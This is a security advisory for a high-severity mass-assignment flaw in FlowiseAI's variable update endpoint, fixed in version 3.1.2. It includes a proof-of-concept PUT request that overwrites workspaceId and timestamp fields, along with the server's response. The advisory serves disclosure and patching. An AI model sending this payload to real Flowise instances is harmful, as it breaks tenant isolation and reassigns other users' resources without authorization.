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GHSA-6fw7-3q8r-m5vj FlowiseAI has Mass Assignment in Variable Update Endpoint that Allows Cross-Workspace Resource Reassignment
HIGH
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- Aliases
- CVE-2026-42861
- Ecosystem
- npm
- Packages
- flowise
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
- Weaknesses
- CWE-284, CWE-639, CWE-915
- Reviewed
- 2026-05-14
Affected packages
• npm flowise: < 3.1.2 → fixed in 3.1.2
Description
Summary
A Mass Assignment vulnerability exists in the variable update endpoint of FlowiseAI.
The endpoint allows authenticated users to modify server-controlled properties such as workspaceId, createdDate, and updatedDate when updating a variable resource.
Due to missing server-side validation and authorization checks, an attacker can manipulate the workspaceId field and reassign variables to arbitrary workspaces.
This behavior may break tenant isolation in multi-workspace environments.
Details
The endpoint responsible for updating variables:
PUT /api/v1/variables/{variableId}
accepts a JSON request body containing the variable definition.
However, the backend does not restrict which attributes can be modified by the client. As a result, user-controlled request bodies can include internal properties that should normally be controlled exclusively by the server.
Server-controlled fields that can be manipulated include:
• workspaceId
• createdDate
• updatedDate
These fields appear to be directly mapped to the database entity without strict input validation or authorization checks.
For example, the following request body was accepted by the server:
```json
{
"name": "aaa",
"value": "bbbe",
"type": "static",
"createdDate": "2016-03-06T17:59:30.000Z",
"updatedDate": "2016-03-06T18:00:17.000Z",
"workspaceId": "11111111-2222-3333-4444-555555555555"
}
```
The server accepted the attacker-controlled workspaceId and metadata fields and persisted them.
PoC
Request
```http
PUT /api/v1/variables/
Content-Type: application/json
{
"name": "aaa",
"value": "bbbe",
"type": "static",
"createdDate": "2016-03-06T17:59:30.000Z",
"updatedDate": "2016-03-06T18:00:17.000Z",
"workspaceId": "11111111-2222-3333-4444-555555555555"
}
```
Response
```json
{
"id": "0a2b9f61-4a97-4ff8-b80d-00275ed18674",
"name": "aaa",
"value": "bbbe",
"type": "static",
"createdDate": "2016-03-06T17:59:30.000Z",
"updatedDate": "2026-03-06T18:05:17.000Z",
"workspaceId": "11111111-2222-3333-4444-555555555555"
}
```
This confirms that the backend accepts and persists attacker-controlled internal properties.
Impact
This vulnerability allows authenticated users to manipulate internal attributes of variable resources.
Possible impacts include:
1. Cross-workspace reassignment of variables (workspaceId)
2. Unauthorized modification of metadata (createdDate, updatedDate)
3. Potential tenant isolation bypass in multi-workspace deployments
In multi-tenant environments, this may allow an attacker to move variables between workspaces without authorization.
Related
Alias · CVE (1)
- CVE-2026-42861 Flowise is a drag & drop user interface to build a customized large language model flow. vulnerability